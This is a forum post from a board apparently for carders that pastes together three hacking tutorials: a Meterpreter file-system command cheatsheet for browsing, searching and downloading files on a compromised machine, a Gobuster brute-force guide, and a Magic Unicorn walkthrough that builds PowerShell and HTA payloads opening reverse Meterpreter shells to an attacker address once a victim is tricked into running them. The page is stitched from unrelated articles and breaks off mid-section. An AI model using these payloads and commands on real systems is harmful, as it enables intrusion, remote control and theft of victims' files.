| Welcome, Guest |
You have to register before you can post on our site.
|
| Forum Statistics |
» Members: 114,296
» Latest member: Visionjhy
» Forum threads: 13,082
» Forum posts: 20,983
Full Statistics
|
|
|
| [Guide] How to Meterpreter File System Commands Cheatsheet |
|
Posted by: NINZA - 05-14-2020, 09:55 AM - Forum: Carders Home
- No Replies
|
 |
Hey Friends!
Did you know that meterpreter is known as Hacker’s Swiss Army Knife!!
Well! Now you do.
Meterpreter, a highly developed payload that can be extended dynamically, is known to be Hacker’s Swiss Army Knife. It uses a reflective DLL injection technique to further compromise the target after the attack. Meterpreter is known to influence the functionality of the Metasploit framework. It can help in doing a lot many things. Some of these include covering tracks after the attack, accessing the operating system, and dumping hashes.
This article discusses meterpreter’s Stdapi File System Commands. There are 21 commands including cat, cd, pwd, and checksum. Figure 1 summarises them:
![[Image: 0.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-Gq1JXuWF3vw/W8sUFTdmuTI/AAAAAAAAa0o/-WFDaWPz0iYi8T6uyXBmVEGc1djl5sDkwCEwYBhgL/s1600/0.png?w=687&ssl=1)
Let’s start discussing them.
cat
It is the very first command in the group of Stdapi File System Commands. It reads the contents of a file to the screen. In other words, cat displays a file’s contents. cat command in meterpreter is same as cat command used in Unix/Linux systems.
The syntax of cat in meterpreter is as follows:
cat filename
1
cat filename
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-fCC7GNLr9C8/W8sRhEyuNoI/AAAAAAAAa0E/-usewKCvBBE0X-pWKtnlV0YwBxbyW2E-QCEwYBhgL/s1600/1.png?w=687&ssl=1)
cd and pwd
Though cd and pwd commands are two separate commands, they are usually used together. cd stands for change directory and pwd stands for print working directory. You use pwd command to check the directory you are working in. You can change this directory using the cd command. By default, the current working directory is the one where the connection was established.
The syntaxes of pwd and cd commands in meterpreter are as follows:
pwd
1
pwd
cd <path of the folder to change to>
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-iJFKTO4JFEQ/W8sRjncp-EI/AAAAAAAAa0M/w4NtU_RCz7UJsVp8xyKYxGBbUNfcTrYTgCEwYBhgL/s1600/2.png?w=687&ssl=1)
checksum
This command retrieves the checksum of a file. The syntax of the checksum command is as follows:
checksum [md5/sha1] file1 file2 file 3...
1
checksum [md5/sha1] file1 file2 file 3...
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-S9Hv50l3c48/W8sRkv2WINI/AAAAAAAAa0I/fB0-eQRdQIcS9OJuho8T5a4d_KpibdMxACEwYBhgL/s1600/3.png?w=687&ssl=1)
cp
This command copies the content of the old file to the new file. The syntax of the cp command is as follows:
cp <oldfile> < newfile>
1
cp <oldfile> < newfile>
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-Y9bHMMVasRg/W8sRks5OzWI/AAAAAAAAa0I/gEjSkLLdD2cq1CypSP2cdWkm2qRO_v1hQCEwYBhgL/s1600/4.png?w=687&ssl=1)
dir
This command lists files. It is an alias for the ls command. It provides crucial details related to any file or directories such as File Permissions, Size of File, Last modified date and file Name & Type. The syntax of the dir command is as follows:
dir
1
dir
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-CtmKBDZvtao/W8sRlKORY4I/AAAAAAAAa0M/-QoBPnXddWEB29vjQXcAENvuV3Y_m9SQQCEwYBhgL/s1600/5.png?w=687&ssl=1)
download
This command downloads remote files and directories from a remote location to the local machine. The syntax of download command is as follows:
download [options] src1 src 2 src3... destination
1
download [options] src1 src 2 src3... destination
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-rKXHhgS3jNA/W8sRlfTn3uI/AAAAAAAAa0Q/k25kIws_pZU0dOsj8ywYxn7uXxu4YqFUgCEwYBhgL/s1600/6.png?w=687&ssl=1)
edit
This command edits a file. The syntax of edit command is as follows:
edit <file name>
1
edit <file name>
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-GjvySm6pVJU/W8sRlgQmkoI/AAAAAAAAa0U/cpQRxJLLFHMxIJO1zjtxuqnCLQNVBHmmQCEwYBhgL/s1600/7.png?w=687&ssl=1)
When you press the Enter key, the screen displayed is as shown in the below image:
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-bKN4M-neseg/W8sRljm7FFI/AAAAAAAAa0Y/uPwC1xndJU4eStxCP08Ei2VvfmOe6GwnwCEwYBhgL/s1600/8.png?w=687&ssl=1)
After editing the file, type: x to save the changes and exit, as shown in the below image
![[Image: vi.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-d6GDVUN8C-4/XFf9gNtVEoI/AAAAAAAAcjI/waKRZcp8ERoEl_a-lyffRja6OJ3OZ8g6gCLcBGAs/s1600/vi.png?w=687&ssl=1)
getlwd
This command prints the working directory on the local machine that is, in our case it is Kali Linux. The syntax of the getlwd command is as follows:
getlwd
1
getlwd
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-b3w9RmEv29w/W8sRhYqTrbI/AAAAAAAAa0Q/oW2DaaOOw9cW-EPjlFG2wwXZIrwgi_XpQCEwYBhgL/s1600/10.png?w=687&ssl=1)
getwd
This command prints the working directory. The syntax of the getwd command is as follows:
getwd
1
getwd
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-mrUc13XGfYg/W8sRhRVBrOI/AAAAAAAAa0Q/_-dlXpvkFAko_dh3W56-D0vpBRrRtDDtgCEwYBhgL/s1600/11.png?w=687&ssl=1)
lcd
This command changes the working directory of the local machine that is, in our case it is Kali Linux. The syntax of lcd is as follows:
lcd
1
lcd
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-l2n-wDnMIFE/W8sRhwGtpYI/AAAAAAAAa0Y/rsFsGSDE9-woeb-Hn29ONH1MloXMjuDMgCEwYBhgL/s1600/12.png?w=687&ssl=1)
You can see that local working directory changes to /root/Desktop
lls
This command lists files on the local machine that is, in our case it is Kali Linux. The syntax of lls command is as follows:
lls
1
lls
![[Image: 13.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-mw1_d8ScxPI/W8sRiPrxhbI/AAAAAAAAa0I/1gu28wrbPWQnghV5aKj1wgFHgTPoRBMwACEwYBhgL/s1600/13.png?w=687&ssl=1)
lpwd
This command prints the working directory on the local machine that is, in our case it is Kali Linux. It is the same as the getlwd command. The syntax of the lpwd command is as follows:
lpwd
1
lpwd
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-t5H5L4zcHTw/W8sRiCaikPI/AAAAAAAAa0E/B-fTGG9HQUMupn4ilr1zeJLNeZSbrDGywCEwYBhgL/s1600/14.png?w=687&ssl=1)
ls
This command lists files. The syntax of the ls command is as follows:
ls
1
ls
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-cF9fLspxRqU/W8sRiQbe_aI/AAAAAAAAa0M/4Vj6cFJhI6ssPTQN8FzrA6aexMrv2eAbgCEwYBhgL/s1600/15.png?w=687&ssl=1)
mkdir
This command makes directory. The syntax of the mkdir command is as follows:
mkdir dir1 dir2 dir3...
1
mkdir dir1 dir2 dir3...
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-Mz87OWt26Ts/W8sRiqKC_sI/AAAAAAAAa0Q/7-ZR-d1BDQEB1s5YZMJqATuKLD8NZp3ugCEwYBhgL/s1600/16.png?w=687&ssl=1)
mv
This command moves a file from source to destination and it can also be used to rename the file as shown. The syntax of the mv command is as follows:
mv oldfile newfile
1
mv oldfile newfile
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-ATBYbMktzg4/W8sRi0wEo6I/AAAAAAAAa0Q/qRikm4KlQ9Q0Wx40-qfG3XOa75bZMHzLgCEwYBhgL/s1600/17.png?w=687&ssl=1)
You can see the moved contents using cat command.
pwd
This command prints the working directory. The syntax of the pwd command is as follows:
pwd
1
pwd
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-b4BdLXHDjJA/W8sRi8ahMNI/AAAAAAAAa0M/B4PioUcRVdcnuIxJpYF1XVhuNTfZ4fVNgCEwYBhgL/s1600/18.png?w=687&ssl=1)
rm
This command deletes the specified file. The syntax of the rm file is as follows:
rm file1 [file2...]
1
rm file1 [file2...]
![[Image: 19.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-2QPUiclQKOQ/W8sRjen8taI/AAAAAAAAa0c/y2H497kBO84NS0OQZkCEGgaqsU8t-rNMQCEwYBhgL/s1600/19.png?w=687&ssl=1)
You can see the list of files before and after using rm command.
rmdir
This command removes the directory. The syntax of the rmdir command is as follows:
rmdir dir1 dir 2 dir 3...
1
rmdir dir1 dir 2 dir 3...
![[Image: 20.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-m1f6paZQgjw/W8sRj09_meI/AAAAAAAAa0Q/f5d1zbDoksMkcs0MfZ03uwcHkNnVU4W5gCEwYBhgL/s1600/20.png?w=687&ssl=1)
search
This command search for files. The syntax of the search command is as follows:
search -f *.doc
1
search -f *.doc
![[Image: 21.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-xu3Wi12NPB8/W8sRj6mEwiI/AAAAAAAAa0c/M-yOIjW7-RIuRSb1ws4FLGrkRvmcP614gCEwYBhgL/s1600/21.png?w=687&ssl=1)
show_mount
This command list all mount points/logical drives. The syntax of the show_mount command is as follows:
show_mount
1
show_mount
![[Image: 22.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-w8iXsHMpyd0/W8sRkEooSII/AAAAAAAAa0U/_uHy9zUvYgYnUAznuoVrpKcjiv_a0wqdQCEwYBhgL/s1600/22.png?w=687&ssl=1)
upload
This command uploads a file or directory. The syntax of the upload command is as follows:
upload [options] src1 src2 src3... destination
1
upload [options] src1 src2 src3... destination
![[Image: 23.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-BVFpPZqkU9M/W8sRkFEzfpI/AAAAAAAAa0Y/GvT9B8BwzmcXpigQhD1n10d4yf5B1JgNACEwYBhgL/s1600/23.png?w=687&ssl=1)
You can see the uploaded file, as shown in the below image:
![[Image: 24.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-v40fT6YAggI/W8sRkWelMJI/AAAAAAAAa0E/nLrUOLYxtlootGB0w7kSa0u1i_YjqjQqACEwYBhgL/s1600/24.png?w=687&ssl=1)
Hello Friend!! Today we are going demonstrate URLs and DNS brute force attack for extracting Directories and files from inside URLs and sub-domains from DNS by using “Gobuster-tool”.
Table of Content - Introduction & Installation
- Using Wordlist for Directory Brute-Force
- Obtaining Full Path for a directory or file
- Hide Status Code
- Verbose Mode
- Identify Content-Length
- Disable Banner
- User-Agent Mode
- Obtain Result with Specify Status Code
- Timeout
- Appending Forward slash
- Saving Output Result inside Text File
- Enumerating Directory with Specific Extension List
- Follow Redirect
- HTTP AUTHORIZATION (-u username: password)
- DNS Mode
- Set Threads Number
- Obtain Sub domain IPs
- Force Processing Brute Force
- Hide Process of Extracting
- Extracting CNAME Records
Introduction & Installation
Gobuster is a tool used to brute-force on URLs (directories and files) in websites and DNS subdomains. Gobuster can be downloaded through the apt- repository and thus execute the following command for installing it.
apt-get install gobuster
1
apt-get install gobuster
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-s1TQuAPugxI/W8no6rcfibI/AAAAAAAAawg/MLw1E7gxAYM_Ic2hJ8vdvtJxjAk6c-29wCEwYBhgL/s1600/1.png?w=687&ssl=1)
When it will get installed, you can interact with it and can perceive all available option with the help of the following command.
gobuster -h
1
gobuster -h
Common Parameters- -fw – force processing of a domain with wildcard results.
- -np – hide the progress output.
- -m <mode> – which mode to use, either dir or dns (default: dir).
- -q – disables banner/underline output.
- -t <threads> – number of threads to run (default: 10).
- -u <url/domain> – full URL (including scheme), or base domain name.
- -v – verbose output (show all results).
- -w <wordlist> – path to the wordlist used for brute forcing (use – for stdin).
Dir mode Parameter- -a <user agent string> – specify a user agent string to send in the request header.
- -c – use this to specify any cookies that you might need (simulating auth).
- -e – specify the extended mode that renders the full URL.
- -f – append / for directory brute forces.
- -k – Skip verification of SSL certificates.
- -l – show the length of the response.
- -n – “no status” mode, disables the output of the result’s status code.
- -o <file> – specify a file name to write the output to.
- -p <proxy url> – specify a proxy to use for all requests (scheme much match the URL scheme).
- -r – follow redirects.
- -s <status codes> – comma-separated set of the list of status codes to be deemed a “positive” (default: 200,204,301,302,307).
- -x <extensions> – list of extensions to check for, if any.
- -P – HTTP Authorization password (Basic Auth only, prompted if missing).
- -U – HTTP Authorization username (Basic Auth only).
- -to – HTTP timeout. Examples: 10s, 100ms, 1m (default: 10s).
DNS mode Parameters- -cn – show CNAME records (cannot be used with ‘-i’ option).
- -i – show all IP addresses for the result.
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-BHR-Qv0y-gA/W8no_wO341I/AAAAAAAAaxY/QngyK-zvab02Q6iPvM2OHoKOzGVx3ra6ACEwYBhgL/s1600/2.png?w=687&ssl=1)
Using Wordlist for Directory Brute-Force
You can use -w option for using a particular wordlist, for example, common.txt or medium.txt to launch a brute-force attack for extracting web directories or files from inside the target URL.
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt
1
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt
The above command will dump the all possible files and directories with the help of common.txt wordlist.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-1AJcC5p5CSs/W8npACZVHxI/AAAAAAAAaxc/S3QiEPkcqc4gIDbkpi_XNP455nC8lW8qwCEwYBhgL/s1600/3.png?w=687&ssl=1)
Obtaining Full Path for a directory or file
Using -e option provides a more significant result, as it Prints complete URL when extracting any file or directories.
gobuster -e -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt
1
gobuster -e -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt
You can compare the following output result from the previous result.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-l1rgmG-lwk4/W8npAo3dBgI/AAAAAAAAaxg/WM53E2X2D3ozH4FzToo7MZy1t7Me-UCKACEwYBhgL/s1600/4.png?w=687&ssl=1)
Hide Status Code
Using -n Option “no status” mode, it prints the output of the results without displaying the status code.
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -n
1
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -n
The above command will dump all possible files and directory without displaying their status code.
Verbose Mode
Using -v option – it enables the verbose parameter and makes brute-force attack vigorously on each file or directory.
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -v
1
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -v
As you can observe from the following option that, this time it has to dump the result including status 404 for missing directories or files.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-o494zakcrsA/W8npAqb1M4I/AAAAAAAAaxo/-FJNuX-_49cXDgt5G46BRK2JL7m_I-k0ACEwYBhgL/s1600/6.png?w=687&ssl=1)
Identify Content-Length
Using -l option enables content-length parameter which displays the size of the response. A Content-Length header is a number denoting and the exact byte length of the HTTP body for extracted file or directory.
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -l
1
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -l
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-lo_1-vDbNEM/W8npBTX-tYI/AAAAAAAAaxs/_SpWDGS2iBo-NGYbcFqhVmI0WQF_fG74wCEwYBhgL/s1600/7.png?w=687&ssl=1)
Disable Banner
Gobuster always adds the banner to specify the brief introduction of applied options while launching a brute force attack. By using -q option we can disable the banner to hide additional information.
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -q
1
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -q
From the given below image, you can perceive the difference between the last output results and in the current result.
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-3z9Pim82C_U/W8npBt6S5bI/AAAAAAAAaxw/5iCiKoPaJqQRESoL4-FMkoPrGMPx4hZQwCEwYBhgL/s1600/8.png?w=687&ssl=1)
User-Agent Mode
Using -an option enables User-Agent mode to specify a user agent string to send in the request header for extracting directories and files from inside the target URL.
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -a Mozilla/5.0 -fw
1
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -a Mozilla/5.0 -fw
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-tlOxPmzU-vo/W8npCSzlf9I/AAAAAAAAax0/mjT79fSavwkm2ssHkwIXtQ1OGLTUzQuHQCEwYBhgL/s1600/9.png?w=687&ssl=1)
Obtain Result with Specify Status Code
Using -s Option enables the status code for specific value such as 302, 200, 403, and 404 and so on to obtain certain request pages.
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -s 302
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -s 200
1
2
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -s 302
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -s 200
From the given below image, you can take reference for the output result obtained for the above commands.
![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-YBhN6IigziI/W8no6fDfULI/AAAAAAAAawk/L6IjIJF1-8Uf6hni3CPUCYkj9VH8kdFqwCEwYBhgL/s1600/10.png?w=687&ssl=1)
Timeout
Using -to option enables the timeout parameter for HTTP request and 10 second is the Default time limit for the HTTP request.
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -to 10s
1
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -to 10s
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-Rk9VdZbhOHk/W8no6oHqAdI/AAAAAAAAawo/Lk4EzEhmLhcOFKhwtxvQ9FTg3ld3Gu77QCEwYBhgL/s1600/11.png?w=687&ssl=1)
Appending Forward slash
Using -f option, appending the forward slash while making brute-force attack on the target URL.
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -f
1
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -f
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-OuCo_awBGvg/W8no7M85NDI/AAAAAAAAaws/LBTjlonyKawsUllUmlbOWuVwOx93Cnh2gCEwYBhgL/s1600/12.png?w=687&ssl=1)
Saving Output Result inside Text File
Using -o option enables saving output result parameter in a text file which can be useful in the future.
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -o result.txt
1
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -o result.txt
We can ensure the result.txt file with the help of cat command
cat result.txt
1
cat result.txt
Enumerating Directory with Specific Extension List
There are a lot of situations where we need to extract the directories of a specific extension over the target server, and then we can use the -X parameter of this scan. This parameter accepts the file extension name and then searches the given extension files over the target server or machine.
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -x .php
1
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -x .php
![[Image: 14.1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-1nqZY5GMkEg/W8no8bHWLTI/AAAAAAAAaw0/V5Mm3a7YW70wd_xyqm9FFFY46o6nyLd7ACEwYBhgL/s1600/14.1.png?w=687&ssl=1)
Follow Redirect
Using -r options enables redirect parameter which redirects HTTP request to another and modifies the Status code for a directory or file.
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -q
gobuster -u [To see content please register here] -r -w /usr/share/wordlists/dirb/common.txt -q
1
2
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -q
gobuster -u [To see content please register here] -r -w /usr/share/wordlists/dirb/common.txt -q
You can compare the output result of the default scan with redirect output result.
![[Image: 14.2.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-Wy-CNkGzfoI/W8no89YrJ8I/AAAAAAAAaw4/u1xk9xtXGMkCctRBvPbzc3Hvi8vZaAMJgCEwYBhgL/s1600/14.2.png?w=687&ssl=1)
HTTP AUTHORIZATION (-u username: password)
HTTP Authentication/Authentication mechanisms are all based on the use of 401-status code and WWW-Authenticate response header. The most widely used HTTP authentication mechanisms are Basic. The client sends the user name and password as un-encrypted base64 encoded text.
So, in order to bypass this kind of authentication with the help of Gobuster we have used the command below:
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -U test -P test
1
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -U test -P test
As a result, it is shown Status –code 200 for the test: test and authorized credential on target URL.
![[Image: 14.3.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-Vo_U8YhSEnI/W8no9BqMbCI/AAAAAAAAaw8/vjpismvojpwmsZ_l6I4rHLO3HtI9TM4rgCEwYBhgL/s1600/14.3.png?w=687&ssl=1)
DNS Mode
Using -m option is enabled DNS mode which is effective for public network IP and extracts the sub-domains.
gobuster -m dns -u google.com -w /usr/share/wordlists/dirb/common.txt
1
gobuster -m dns -u google.com -w /usr/share/wordlists/dirb/common.txt
As you can observe the output result from the given below result.
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-1OFqx4C4-g8/W8oAqaRm04I/AAAAAAAAayY/MBe1ed55PEsJ4P-OYtLTj6L_iUT1X7MwQCLcBGAs/s1600/14.png?w=687&ssl=1)
Set Threads Number
Using -t option, it enables the number of thread parameter to be applied while brute-forcing sub-domains name or directories.
gobuster -m dns -u google.com -t 100 -w /usr/share/wordlists/dirb/common.txt
1
gobuster -m dns -u google.com -t 100 -w /usr/share/wordlists/dirb/common.txt
![[Image: 15.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-EQxF1nLLhME/W8no-H-5AQI/AAAAAAAAaxE/6Qw_fc65alE8h2t6Z3a37jGhe0AGw4WyACEwYBhgL/s1600/15.png?w=687&ssl=1)
Obtain sub-domains IPs
Using -i option enables the IP parameter which should be showing IPs of extracted sub-domains.
gobuster -m dns -u google.com -t 100 -w /usr/share/wordlists/dirb/common.txt -i
1
gobuster -m dns -u google.com -t 100 -w /usr/share/wordlists/dirb/common.txt -i
From the given below result, you can observe that it showing IPv4 of Ipv6 for each extracted sub-domains.
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-yShYOdoC-Nc/W8no-3hrWoI/AAAAAAAAaxI/fylFmeo_DYUbNas9QLiQBoLkNH0MMWbSACEwYBhgL/s1600/16.png?w=687&ssl=1)
Force Processing Brute Force
It stops extracting the sub-domains name if meet any Wildcard DNS which is a non-existing domain, therefore uses -fw option to enable force processing parameter to continue the attack even if there is any Wildcard Domain.
gobuster -m dns -u google.com -t 100 -w /usr/share/wordlists/dirb/common.txt -fw
1
gobuster -m dns -u google.com -t 100 -w /usr/share/wordlists/dirb/common.txt -fw
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-kRihrlhUCMY/W8no_A9vfUI/AAAAAAAAaxM/WqUvQ-bvkcghgvRjgtzEJrhhIBjHJiOugCEwYBhgL/s1600/17.png?w=687&ssl=1)
Hide Process of Extracting
Using -np option hides the process of extracting sub-domains name while making brute force attack.
gobuster -m dns -u google.com -t 100 -w /usr/share/wordlists/dirb/common.txt -fw -np
1
gobuster -m dns -u google.com -t 100 -w /usr/share/wordlists/dirb/common.txt -fw -np
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-aiuybi7MINk/W8no_gxmvvI/AAAAAAAAaxQ/Z1pBxNnjI3MFgyhv-gzCBR1K4iFYuLwAwCEwYBhgL/s1600/18.png?w=687&ssl=1)
Extracting CNAME Records
Using –cn option enables CNAME Records parameter of the extracted sub-domains and show their CNAME records.
gobuster -m dns -u google.com -t 100 -w /usr/share/wordlists/dirb/common.txt -cn
1
gobuster -m dns -u google.com -t 100 -w /usr/share/wordlists/dirb/common.txt -cn
You can observe the output for above-executed command in the given below result.
![[Image: 19.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-45g383kJMno/W8no_vqodrI/AAAAAAAAaxU/OQzOlW8SMHM_6DmUfvYGbO3PV0mVCN_EgCEwYBhgL/s1600/19.png?w=687&ssl=1)
Proxy URL
Using –p option enables proxy URL to be used for all requests, by default it works on port 1080. As you can observe, on exploring target network IP in the web browser it put up “Access forbidden error” which means this web page is running behind some proxy.
![[Image: 50.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-rZLWBPU-ZAs/W9r0G6U5BPI/AAAAAAAAa9w/sa9WpNgtjHAzStKmcbFJFXXzIA2IitgqACEwYBhgL/s1600/50.png?w=687&ssl=1)
To ensure this prediction, we run the gobuster command twice, firstly on port 80 which is by default and further on port 3129 along with –p option which enables proxy parameter.
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt –p 192.168.1.108:3129
1
2
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt
gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt –p 192.168.1.108:3129
From the given below image, you can take reference for the output result obtained for above commands, here we haven’t obtained any directory or file on executing the first command where else in the second command executed successfully.
![[Image: 52.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-xCHBLn18OME/W9r0iJ75XgI/AAAAAAAAa-A/W67xwKJMZEsSK8_qXL1F2cn0sQBEFxqvgCLcBGAs/s1600/52.png?w=687&ssl=1)
Magic Unicorn is a simple tool for using a PowerShell downgrade attack that injects shellcode straight into memory. It is based on Matthew Graeber’s PowerShell attacks and the PowerShell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18.
Table of Contents- Powershell Attack Instruction
- HTA Attack Instruction
- Macro Attack Instruction
Download the unicorn tool from the git repository:
git clone [To see content please register here]
1
git clone [To see content please register here]
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-_F0Q4qL0FO8/W8YojIWpxZI/AAAAAAAAawY/g4DAnbxq8MM7CEux0p7dMPFeJn_gWEUKgCEwYBhgL/s1600/1.png?w=687&ssl=1)
Once downloaded, go in the directory and run unicorn with the following command to see all the possible methods.
./unicorn.py
1
./unicorn.py
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-htms6wPvQIE/W8YolnxyPHI/AAAAAAAAawY/De-oWLVSods4WbHjhY1E8cgFOFfVN2vrwCEwYBhgL/s1600/2.png?w=687&ssl=1)
Powershell Attack Instructions
First, we will try the reverse_tcp payload. As we can see in the main menu all the commands are already written. We just need to replace the IP with our IP.
python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.109 4444
1
python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.109 4444
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-ADr5_A6p2XY/W8YomH04dJI/AAAAAAAAawU/7CMsEybielcn_r0kT1X96rDjnsG0ObFTACEwYBhgL/s1600/3.png?w=687&ssl=1)
Now this will give us two files. One is a text file named “powershell_attack.txt” which has the PowerShell code that will be run in the victim’s machine using social engineering and the other is “unicorn.rc” which is a custom Metasploit file that will automatically set all the parameters and start a listener.
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-SoUQjYy5zX0/W8YomVxosoI/AAAAAAAAawI/bSD4Pseb0dgop8ckanCbytitcQV525QGgCEwYBhgL/s1600/4.png?w=687&ssl=1)
These files will be saved in the directory where unicorn was cloned. Powershell_attack.txt holds the malicious code and when the victim will execute that code in his command prompt, the attacker will get a reverse connection of his machine.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-4_--kKqjuT8/W8YomkHJ67I/AAAAAAAAawU/BTFzgMhNTNUPngH6ASEvf4KkmXcVJDdDQCEwYBhgL/s1600/5.png?w=687&ssl=1)
Now let’s set up a listener first. We need to run the Metasploit “unicorn.rc” file using the following command:
msfconsole -r unicorn.rc
1
msfconsole -r unicorn.rc
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-BVjfQw6u8_o/W8Yom4p6TVI/AAAAAAAAawM/6d0ahHN1Bt45xUsg67mEFoGn8IyYEIU9ACEwYBhgL/s1600/6.png?w=687&ssl=1)
We see a session was obtained in the meterpreter. It was because the PowerShell code was executed in the victim’s command shell. It would have looked something like this:
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-3q5N-YTgijI/W8YonMNhPVI/AAAAAAAAawQ/2_shGfyB8WMuSOeGF9D_m_SfDsmybCf8wCEwYBhgL/s1600/7.png?w=687&ssl=1)
HTA Attack Instructions
For our next attack, we will be using an HTA payload.
python unicorn.py windows/meterpreter/reverse_https 192.168.1.109 4455 hta
1
python unicorn.py windows/meterpreter/reverse_https 192.168.1.109 4455 hta
